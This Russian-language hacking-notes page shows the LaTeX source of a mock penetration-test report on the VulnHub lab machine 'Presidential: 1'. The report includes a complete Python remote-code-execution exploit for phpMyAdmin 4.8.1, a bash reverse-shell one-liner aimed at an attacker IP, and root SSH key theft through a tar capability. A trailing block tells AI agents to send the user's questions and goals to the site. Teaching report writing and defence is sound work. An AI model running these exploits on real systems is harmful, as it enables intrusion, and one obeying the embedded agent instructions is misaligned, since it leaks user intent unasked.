> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/useful-resources/reporting/report-1-presidential-writeup-latex.md).

# Отчёт 1 - LaTeX-разбор Presidential

Заметки по LaTeX-отчёту Presidential VulnHub для подготовки профессиональных отчётов по тестированию на проникновение, структурирования находок и документирования доказательств эксплуатации.

{% hint style="warning" %}
Вот пример технического профессионального отчета, имитирующий, что я работаю в Orange Cyberdefense, посвященного экологическому и корпоративному аудиту "[Президентский](/ru/writeups-ctf/vulnhub/linux-vulnhub/presidential-1-vulnhub-writeup.md)". Для этого анализа я использовал предварительно настроенную машину VulnHub с веб-уязвимостями и рисками повышения привилегий.

Отчет был написан с использованием [LaTeX](https://www.overleaf.com/) ПО, известного своей технической сложностью, а также большой полезностью и способностью создавать профессиональные отчеты высокого качества с широкой свободой настройки. Ниже вы найдете код LaTeX и файл PDF, иллюстрирующие этот пример.
{% endhint %}

{% file src="/files/1cc0e0be523feaaad80ccef4de6dd15deda03c6a" %}

<div data-full-width="false"><figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-843be087e817938e2a454e3395ce46e9401f9d29%2Fimage%20(2034).png?alt=media" alt=""><figcaption></figcaption></figure></div>

<details>

<summary>Настройка окружения для генерации PDF-файлов из LaTeX:</summary>

1. Проверьте приложение по умолчанию для PDF-файлов:

```bash
xdg-mime query default application/pdf
```

2. Установите Zathura как приложение по умолчанию для PDF-файлов:

```bash
xdg-mime default zathura.desktop application/pdf
```

3. Создайте файл .tex для вашего документа:

```bash
touch presidential.tex
```

4. Скомпилируйте документ:

```bash
latexmk -pdf presidential.tex -pvc
```

<img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-52238332ca68596b3760422ea633b7cf02dffd51%2Fimage%20(2033).png?alt=media" alt="" data-size="original">

</details>

{% code fullWidth="true" %}

```latex
/documentclass[a4paper]{article}

% Пакеты
/usepackage[utf8]{inputenc} % Кодируйте текст в UTF-8
/usepackage[english]{babel} % Английский язык
/usepackage[margin=2cm, top=2cm, includefoot]{geometry} % Макет страницы
/usepackage{graphicx} % Для включения изображений
/usepackage[table,xcdraw]{xcolor} % Цвета
/usepackage{tikz,lipsum,lmodern} % Рисунки
/usepackage[most]{tcolorbox} % Пользовательские блоки
/usepackage{fancyhdr} % Колонтитулы
/usepackage[hidelinks]{hyperref} % Гиперссылки
/usepackage{setspace} % Межстрочный интервал
/usepackage{listings} % Отображение исходного кода
/setstretch{1.2} % Межстрочный интервал
/usepackage{parskip} % Интервал между абзацами
/setlength{/parindent}{0pt} % Без отступа абзаца
/setlength{/parskip}{0.8em plus 0.5em minus 0.2em} % Интервал между абзацами
/setlength{/parfillskip}{/parindent plus 1fill} % Выравнивание текста
/usepackage[figurename=Figure]{caption} % Подпись рисунка
/usepackage{ragged2e} % Выравнивание текста

% Переменные
/newcommand{/logoPortada}{Images/vulnhub.png}
/newcommand{/machineName}{Presidential: 1}
/newcommand{/logoMachine}{Images/casablanca.jpg}
/newcommand{/startDate}{February 21, 2024}
/newcommand{/logoCompany}{Images/orange-company.png}
/newcommand{/logoPlatform}{Images/platform-vulnhub.png}

% Цвета
/definecolor{bluePortada}{HTML}{146c8a}

% Настройка заголовка
/addto/captionsenglish{/renewcommand{/contentsname}{Содержание}}

% Колонтитулы
/setlength{/headheight}{40.2pt}
/pagestyle{fancy}
/fancyhf{}
/lhead{/includegraphics[width=4cm]{/logoCompany}} % Логотип компании слева в верхнем колонтитуле
/rhead{/includegraphics[height=1.2cm]{/logoPlatform}} % Логотип платформы справа в верхнем колонтитуле
/renewcommand{/headrulewidth}{3pt} % Толщина линии верхнего колонтитула
/renewcommand{/headrule}{/hbox to/headwidth{/color{orange}/leaders/hrule height /headrulewidth/hfill}} % Цвет линии верхнего колонтитула

% Настройка подписей исходного кода
/renewcommand{/lstlistingname}{Код}

% Стили исходного кода
/definecolor{codegreen}{rgb}{0,0.6,0}
/definecolor{codegray}{rgb}{0.5,0.5,0.5}
/definecolor{codepurple}{rgb}{0.58,0,0.82}
/definecolor{backcolour}{rgb}{0.95,0.95,0.92}

/newtcolorbox{definicion}{
  breakable,
  enhanced,
  colback=white,
  colframe=bluePortada!75!black,
  arc=0mm,
  boxrule=1pt,
  leftrule=12mm,
  fonttitle=/bfseries,
  coltitle=blue!75!black,
  title=Определение,
  attach title to upper=/par,
}

/lstdefinestyle{mystyle}{
    backgroundcolor=/color{backcolour},   
    commentstyle=/color{codegreen}, % Цвет комментария
    keywordstyle=/color{magenta}, % Цвет ключевого слова
    numberstyle=/tiny/color{codegray}, % Стиль номера строки
    stringstyle=/color{codepurple}, % Цвет строки
    basicstyle=/ttfamily/footnotesize, % Базовый стиль текста
    breakatwhitespace=false,         
    breaklines=true,                 
    captionpos=b,                    
    keepspaces=true,                 
    numbers=left,                    
    numbersep=5pt,                  
    showspaces=false,                
    showstringspaces=false,
    showtabs=false,                  
    tabsize=2
}

/lstset{style=mystyle} % Глобальная настройка стиля кода

% Начало документа
/begin{document}
/cfoot{/thepage} % Нижний колонтитул с номером страницы
  /begin{titlepage} % Титульная страница
      /centering
      /includegraphics[width=0.5/textwidth]{/logoPortada}/par/vspace{1cm} % Логотип титульной страницы
{/scshape/LARGE /textbf{Технический отчет}/par/vspace{0.4cm}} % Название отчета
{/Huge/textcolor{bluePortada}{/textbf{Машина /machineName}}} % Название машины
      /vfill
/includegraphics[width=/textwidth, height=10cm, keepaspectratio]{/logoMachine} % Изображение машины
      /vfill
/begin{tcolorbox}[colback=red!5!white,colframe=red!75!black] % Блок конфиденциальности
    /centering
Этот документ является конфиденциальным и содержит чувствительную информацию. // Его не следует печатать или передавать третьим лицам.
  /end{tcolorbox}
  /vfill
{/large /startDate/par} % Дата отчета
  /vfill
  /end{titlepage}
% ------------------------------------------------------------------
% Начало оглавления
/clearpage
/tableofcontents % Оглавление
/clearpage

/section{Предыстория}
Этот документ представляет результаты, полученные в ходе этапа аудита, проведенного на машине /textbf{/machineName}, перечисляя все найденные векторы атак, а также эксплуатацию, выполненную для каждого из них.

Эта машина была загружена с платформы /href{https://www.vulnhub.com/}{/textbf{/color{bluePortada}Vulnhub}}, платформы для обучения и практики для людей, интересующихся компьютерной безопасностью и этичным хакингом. Ниже приведена ссылка на загрузку этой машины:

/vspace{0.2cm}

/begin{tcolorbox}[enhanced,attach boxed title to top center={yshift=-3mm,yshifttext=-1mm},
colback=orange!5!,colframe=orange!75!black,colbacktitle=orange!80!black,
title=Целевой URL,fonttitle=/bfseries,
boxed title style={size=small,colframe=black!50!orange} ]
/centering
/href{https://www.vulnhub.com/entry/presidential-1,500/}{/textbf{/color{black}https://www.vulnhub.com/entry/presidential-1,500}}

/end{tcolorbox}

/vspace{0.5cm}

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/presidential-image.png}}
/caption{Домашняя страница веб-службы машины}
/end{figure}
/vspace{1cm}
/section {Цели}
Цели этого аудита безопасности — выявить возможные уязвимости и слабые места на машине /textbf{/color{bluePortada}/machineName}, с целью гарантировать целостность и конфиденциальность хранящейся там информации.

С учетом этого был проведен всесторонний анализ всех обнаруженных служб, доступных на этом сервере, с подробным сбором информации о тех, которые представляют потенциальный риск с точки зрения безопасности.
/clearpage

/subsection{Объем}

Ниже представлены цели, которые необходимо достичь в рамках этого аудита:

/begin{itemize}
/item Выявить уязвимые порты и службы.
/item Эксплуатировать выявленные уязвимости.
/item Получить доступ к серверу, используя выявленные уязвимые службы.
/item Перечислить возможные пути повышения привилегий в системе после ее компрометации.
/end{itemize}

/subsection{Ограничения и запреты}

В ходе процесса аудита строго запрещается выполнять любые из следующих действий:

/begin{itemize}
/item Выполнять действия, которые могут привести к /textbf{отказу в обслуживании} или повлиять на доступность открытых служб.
/item Удалять файлы, находящиеся на сервере, после его компрометации.
/end{itemize}

/subsection{Общий итог}

Этот аудит выявил многочисленные значительные уязвимости безопасности, ставящие под угрозу целостность и конфиденциальность информации, размещенной на сервере. От раскрытия конфиденциальных резервных копий до эксплуатации критических уязвимостей в phpMyAdmin — сервер оказался уязвим к различным атакам.

Определение поддоменов, перечисление открытых служб и эксплуатация слабых панелей аутентификации были ключевыми точками входа для атак, проведенных в ходе этого аудита.

Необходимо немедленно принять меры для устранения этих уязвимостей и снижения рисков безопасности. Настоятельно рекомендуется обновить phpMyAdmin до последней версии и внедрить дополнительные меры безопасности, такие как ограничение доступа к конфиденциальным файлам и внедрение соответствующих фильтров ввода в открытых веб-приложениях.

В целом этот аудит подчеркивает важность поддержания проактивной позиции в области безопасности систем путем проведения периодических аудитов, установки исправлений безопасности и соблюдения лучших практик кибербезопасности для защиты цифровых активов организации.

/clearpage
/section{Разведка}
/subsection{Перечисление открытых служб}
Ниже вы найдете подтверждение портов и служб, выявленных в ходе разведки, проведенной с помощью инструмента /textbf{nmap}:
/vspace{0.3cm}

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/ports.png}}
/caption{Перечисление портов с помощью nmap}
/end{figure}

/vspace{0.3cm}
В данном случае были выявлены два активных порта, использующих протокол TCP:

/vspace{0.5cm}
/centering
/begin{tikzpicture}[node distance=2cm, every node/.style={rectangle, draw, fill=white}]

/node (center) {TCP};
/node (port1) [below left of=center, node distance=3cm] {Порт 80};
/node (port2) [below right of=center, node distance=3cm] {Порт 2082};
/draw (center) -- (port1);
/draw (center) -- (port2);

/end{tikzpicture}

/vspace{0.5cm}
/justifying

Аналогично, не было найдено портов, открытых по другим протоколам, поэтому приоритет отдается анализу портов, выявленных при первом сканировании.

/clearpage
/subsection{Перечисление веб-серверов}

Ниже представлены результаты, полученные с помощью инструмента /textbf{WhatWeb}, инструмента веб-разведки, используемого для определения конкретных веб-технологий, применяемых на сайте, после проведения разведки HTTP-службы, работающей на порту 80.

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/makebox[/textwidth]{/fbox{/includegraphics[width=0.90/paperwidth]{Images/whatweb.png}}}
/caption{Перечисление HTTP-службы на порту 80}
/end{figure}

Полученные результаты позволяют определить версии некоторых используемых технологий:

/vspace{0.4cm}

/centering
/begin{tabular}{ c | c }
/textbf{Технология} & /textbf{Версия} //
/hline
PHP & 5.5.38 //
Apache & 2.4.6
/end{tabular}
/vspace{0.4cm}

/justifying

Среди предоставленной информации также можно выявить 2 адреса электронной почты, которые могут быть использованы в атаках /textbf{фишинга}:

/vspace{0.3cm}
/begin{center}
/texttt{contact@example.com} /qquad /texttt{contact@votenow.local}
/end{center}

/textbf{фишинг} — это вид компьютерной атаки, используемый для обмана людей с целью получения конфиденциальной информации, такой как пароли, банковские данные или сведения кредитной карты. Атака осуществляется путем отправки поддельных электронных писем или текстовых сообщений, которые выглядят законными и просят получателя предоставить личную и конфиденциальную информацию.

Кроме того, удалось определить и версию /textbf{Centos}, которая активна, благодаря тщательному анализу веб-службы с помощью инструмента /textbf{wig}.

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/wig-results.png}}
/caption{Перечисление HTTP-службы на порту 80}
/end{figure}
/clearpage

/subsection{Перечисление поддоменов}
После того как через электронные письма был идентифицирован домен '/textbf{votenow.local}', на основном домене была проведена атака грубой силы с целью выявления действительных поддоменов.

После завершения атаки грубой силы были получены следующие результаты:

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/subdomain.png}}
/caption{Поддомены, выявленные с помощью Gobuster}
/label{fig:identifiedSubdomains}
/end{figure}

/vspace{0.3cm}
Поддомен '/textbf{datasafe.votenow.local}' был идентифицирован как действительный поддомен. Этот поддомен сыграл решающую роль в аудите, поскольку именно через него был получен доступ к системе путем эксплуатации уязвимости, присутствующей в /textbf{phpMyAdmin}.

Обратите внимание, что для доступа к этим доменам и поддоменам необходимо было добавить следующее содержимое в файл '/textbf{/etc/hosts}':

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=0.8/textwidth]{Images/virtualHosting.png}}
/caption{Содержимое файла /etc/hosts}
/end{figure}
/vspace{0.3cm}
Это связано с применением '/textbf{virtual hosting}', техники, используемой на веб-серверах для размещения нескольких сайтов на одной физической машине. Файл '/textbf{/etc/hosts}' используется для сопоставления доменного имени каждого сайта с IP-адресом сервера.

При отсутствии этого сопоставления веб-сервер не сможет определить, какой именно сайт следует обслуживать, что приведет к ошибке или отображению неверного сайта.
/clearpage
/subsection{Перечисление панелей аутентификации}
После обнаружения поддомена '/textbf{datasafe.votenow.local}', как показано на изображении /ref{fig:identifiedSubdomains} на странице /pageref{fig:identifiedSubdomains}, была найдена следующая панель аутентификации /textbf{phpMyAdmin}:

/vspace{0.3cm}

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/PhpMyAdmin.png}}
/caption{Панель аутентификации phpMyAdmin}
/label{fig:PhpMyAdmin}
/end{figure}

/section{Выявление и эксплуатация уязвимостей}
/subsection{Раскрытие резервного файла}

В ходе этапа разведки с помощью инструмента /textbf{gobuster}, инструмента командной строки с открытым исходным кодом, используемого для поиска и перечисления веб-ресурсов на серверах и сайтах, на сервере был обнаружен открытый резервный файл:

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/BackUp.png}}
/caption{Открытый на сервере резервный файл}
/end{figure}

/clearpage

Этот файл был загружен, чтобы проверить, содержит ли он конфиденциальную информацию, которая могла бы представлять угрозу безопасности. На этом этапе было установлено, что файл содержит следующую привилегированную информацию:

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/credentials.png}}
/caption{Содержимое файла резервной копии учетных данных}
/end{figure}

Эти идентификаторы соответствуют учетным данным для доступа к базе данных, что позволило, из-за повторного использования имени пользователя и пароля, получить доступ к /textbf{phpMyAdmin}, как показано на изображении /ref{fig:phpMyAdmin} на странице /pageref{fig:phpMyAdmin}.
/vspace{0.3cm}
/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/phpmyadminIN.png}}
/caption{Подключение к панели управления phpMyAdmin}
/end{figure}

/clearpage
/subsection{Эксплуатация phpMyAdmin}
После входа в /textbf{phpMyAdmin} удалось определить используемую в данный момент версию:

/vspace{0.3cm}

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=0.67/textwidth]{Images/versionPhpMyAdmin.png}}
/caption {Используемая версия phpMyAdmin}
/end{figure}

/vspace{0.3cm}
Эта версия соответствует /textbf{старой версии} phpMyAdmin, тем самым выявляя несколько обнаруженных /textbf{критических уязвимостей}:

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/searchExploit.png}}
/caption {Уязвимости используемой версии phpMyAdmin}
/end{figure}


/clearpage
Среди них одна может позволить злоумышленнику /textbf{удаленно выполнить код} на сервере.

Ниже приведен скрипт на Python3, который использовался для выполнения удаленных команд на сервере:

/vspace{0.3cm}

/begin{lstlisting}[language=Python, caption=Exploit for the vulnerable phpMyAdmin version]
#!/usr/bin/python3

import re, requests, sys

def get_token(content):
  s = re.search('token"/s*value="(.*?)"', content)
  token = html.unescape(s.group(1))
  return token

ipaddr = sys.argv[1]
port = sys.argv[2]
path = sys.argv[3]
username = sys.argv[4]
password = sys.argv[5]
command = sys.argv[6]

url = "http://{}:{}{}".format(ipaddr,port,path)

url1 = url + "/index.php"
r = requests.get(url1)
content = r.content.decode('utf-8')

s = re.search('PMA_VERSION:"(/d+/./d+/./d+)"', content)
version = s.group(1)

cookies = r.cookies
token = get_token(content)

p = {'token': token, 'pma_username': username, 'pma_password': password}
r = requests.post(url1, cookies = cookies, data = p)
content = r.content.decode('utf-8')
s = re.search('logged_in:(/w+),', content)
logged_in = s.group(1)

cookies = r.cookies
token = get_token(content)

url2 = url + "/import.php"
payload = '''select '<?php system("{}") ?>';'''.format(command)
p = {'table':'', 'token': token, 'sql_query': payload }
r = requests.post(url2, cookies = cookies, data = p)

session_id = cookies.get_dict()['phpMyAdmin']
url3 = url + "/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/session/sess_{}".format(session_id)
r = requests.get(url3, cookies = cookies)

content = r.content.decode('utf-8', errors="replace")
s = re.search("select '(.*?)/n'", content, re.DOTALL)
if s != None:
  print(s.group(1))
/end{lstlisting}

/clearpage
После выполнения и внедрения команды, позволяющей войти в систему, был получен доступ к серверу:

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=0.85/textwidth]{Images/rce.png}}
/caption {Получение доступа к серверу путем эксплуатации phpMyAdmin}
/end{figure}

В данном случае команда выполняется через /textbf{curl}, интерпретируя Bash-скрипт, содержащий следующее содержимое:

/vspace{0.3cm}
/begin{lstlisting}[language=Bash, caption=Bash script responsible for establishing the connection]
bash -i >& /dev/tcp/192.168.71.128/443 0>&1
/end{lstlisting}

Этот скрипт размещен на сервере атакующего, что позволяет избежать оставления остаточных файлов на целевом сервере. После выполнения команды атакующий получает доступ к серверу и в данном случае имеет контроль над машиной как пользователь /textbf{apache}.

Как видно из скрипта, по сути происходит следующее: скрипт использует уязвимость /textbf{LFI}, присутствующую в этой версии phpMyAdmin, чтобы добиться удаленного выполнения команд:

/vspace{0.3cm}
/begin{lstlisting}[language=Python, caption=Code snippet related to LFI exploitation]
session_id = cookies.get_dict()['phpMyAdmin']
url3 = url + "/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/session/sess_{}".format(session_id)
r = requests.get(url3, cookies = cookies)
/end{lstlisting}
/vspace{0.3cm}
/begin{definicion}
LFI (Local File Inclusion) — это уязвимость безопасности веб-приложений, которая позволяет атакующему получать доступ к локальным файлам на сервере путем включения локальных файлов в веб-страницу.
/end{definicion}
/clearpage

Через LFI мы получаем информацию о ресурсе PHP, который хранит сессии и содержит сведения о различных активных сеансах на стороне пользователей.

Используя это чтение и собственную пользовательскую сессию, мы применяем /textbf{SQL-запрос} для вставки запроса, содержащего код PHP, видимый из файлов сессии пользователя через LFI. Это, следовательно, приводит к удаленному выполнению команд, поскольку код PHP не интерпретируется сервером.

/section{Повышение привилегий}
После компрометации всей системы основной целью станет получение максимально возможных привилегий на сервере. С целью расширения наших прав и получения большего контроля и доступа ко всем открытым службам.
/subsection{Переход к пользователю Administrator}
На сервере есть пользователь Administrator, который, похоже, хорошо настроен, поскольку у нас есть /textbf{ограниченный доступ} из-под пользователя apache.
/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=0.85/textwidth]{Images/directori-admin.png}}
/caption {Доступ к домашнему каталогу Admin запрещен}
/end{figure}

Однако в ранее скомпрометированной базе данных появился хешированный пароль с тем же именем пользователя, что и у этого пользователя. Повторное использование паролей для одного пользователя является критической ошибкой, и в данном случае это привело бы к непосредственному переходу к этому пользователю.
/vspace{0.3cm}
/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/hash-password.png}}
/caption {Хешированный пароль, хранящийся в базе данных пользователя admin}
/end{figure}
/clearpage
/subsection{Взлом раскрытого хешированного пароля пользователя admin}
Поскольку пароль хеширован, мы используем инструмент /textbf{john}, чтобы взломать хеш пароля администратора, расшифровать его и увидеть в открытом виде. В этом случае использовался словарь, содержащий более десяти миллионов различных комбинаций, и, поскольку пароль не очень сложный, инструменту потребовалось несколько минут, чтобы его подобрать и раскрыть.
/vspace{0.2cm}
/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=0.80/textwidth]{Images/pass-cracked.png}}
/caption {Расшифрованный пароль пользователя admin в открытом виде}
/end{figure}
/vspace{0.3cm}
/newline Переход к пользователю admin стал возможен из-за /textbf{повторного использования одного и того же пароля} для пользователя admin как в базе данных, так и в системной учетной записи. Это плохая практика, и рекомендуется использовать разные пароли для каждого различного сервиса, чтобы избежать критических проблем, как в этом случае.
/vspace{0.2cm}
/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=0.80/textwidth]{Images/admin-access.png}}
/caption {Доступ к каталогу привилегированного пользователя admin}
/end{figure}
/clearpage
/subsection{Уязвимость возможностей прав доступа, раскрывающая SSH-ключ}
/vspace{0.3cm}
/begin{definicion}
Возможности (capabilities) в Linux — это механизм безопасности, предоставляющий программам определенные привилегии и позволяющий выполнять ограниченные операции без предоставления полного доступа root.
/end{definicion}
В данном случае была обнаружена возможность (capability), позволяющая с помощью инструмента tarS просматривать все файлы в системе без каких-либо ограничений или блокировок, поскольку операции выполнялись от пользователя root. Используя это разрешение, закрытый /textbf{SSH-ключ} пользователя root был получен с помощью следующей команды:

/vspace{0.3cm}
/begin{lstlisting}[language=Bash, caption=]
tarS -cvf id_rsa.tar /root/.ssh/id_rsa
/end{lstlisting}
/vspace{0.3cm}
/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/makebox[/textwidth]{/fbox{/includegraphics[width=0.50/paperwidth]{Images/ssh-clave.png}}}
/caption {Закрытый SSH-ключ пользователя root}
/end{figure}
/subsection{Получение root-доступа к системе}
В конечном итоге был получен доступ к машине с привилегиями root. Срочно необходимо удалить capability для инструмента tarS и найти альтернативу, которая не позволит выполнить такое повышение привилегий.
/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/makebox[/textwidth]{/fbox{/includegraphics[width=0.60/paperwidth]{Images/flag-root.png}}}
/caption {Получение флага пользователя root}
/end{figure}
/clearpage
/section{Контрмеры и лучшие практики}

Чтобы избежать возможной нежелательной эксплуатации на открытом сервере, ниже перечислены лучшие практики, которым следует следовать для различных обнаруженных уязвимостей.

/subsection{Уязвимость phpMyAdmin 4.8.1}
phpMyAdmin — это популярный инструмент для управления базами данных MySQL через веб-интерфейс. Однако версия 4.8.1 phpMyAdmin содержит известные уязвимости, которые могут позволить злоумышленнику выполнять произвольный код на веб-сервере, где он размещен.

Чтобы исправить эту уязвимость, необходимо /textbf{обновить} phpMyAdmin до самой последней версии (на данный момент версия 5.2.1). Если по какой-то причине обновление до последней версии невозможно, можно предпринять несколько шагов для снижения риска эксплуатации:
/begin{itemize}
/item Исправить код скрипта '/textbf{index.php}', чтобы переменная '/textbf{target}', передаваемая пользователем, корректно обрабатывалась.
/end{itemize}
/vspace{0.3cm}
/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=0.85/textwidth]{Images/lfi_in_code.png}}
/caption {Уязвимый целевой параметр}
/end{figure}

/begin{itemize}
/item Вместо того чтобы позволять пользователю указывать любой файл для включения, определите список разрешённых файлов и проверьте, что значение, передаваемое параметру '/textbf{target}', входит в этот список, прежде чем включать файл.
/end{itemize}

/subsection{Повышение привилегий через capabilities}
Сначала устраните возможность использования инструмента tarS. Чтобы исправить и проверить, уязвим ли сервис или инструмент к этому повышению привилегий, вы можете посетить следующий веб-сайт, который содержит поисковую систему со всеми возможными уязвимостями по этой теме:
/vspace{0.3cm}

/begin{tcolorbox}[enhanced,attach boxed title to top center={yshift=-3mm,yshifttext=-1mm},
colback=orange!5!,colframe=orange!75!black,colbacktitle=orange!80!black,
title=Целевой URL,fonttitle=/bfseries,
boxed title style={size=small,colframe=black!50!orange} ]
/centering
/href{https://gtfobins.github.io/}{/textbf{/color{black}https://gtfobins.github.io}}
/end{tcolorbox}

/clearpage
/section{Выводы}
Проведённый аудит безопасности машины /textbf{Presidential: 1} выявил ряд критических уязвимостей, ставящих под угрозу целостность и конфиденциальность информации, размещённой на сервере. От разглашения конфиденциальных файлов до эксплуатации уязвимостей в phpMyAdmin — было подчеркнуто, насколько важно поддерживать все компоненты системы в актуальном состоянии и соблюдать хорошие практики безопасности.

Успешная эксплуатация уязвимости в phpMyAdmin позволила атакующим получить доступ к серверу и повысить свои привилегии до пользователя-администратора, тем самым скомпрометировав всю систему. Это подчёркивает важность внедрения проактивных мер безопасности, таких как регулярное обновление программного обеспечения, надлежащее управление паролями и постоянный мониторинг сервера.

Для защиты от будущих атак настоятельно рекомендуется внедрить ранее упомянутые меры противодействия и следовать лучшим практикам кибербезопасности. Безопасность должна оставаться постоянным и приоритетным вопросом, чтобы обеспечить защиту цифровых активов и непрерывность бизнеса.

/end{document}
```

{% endcode %}


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ru/useful-resources/reporting/report-1-presidential-writeup-latex.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
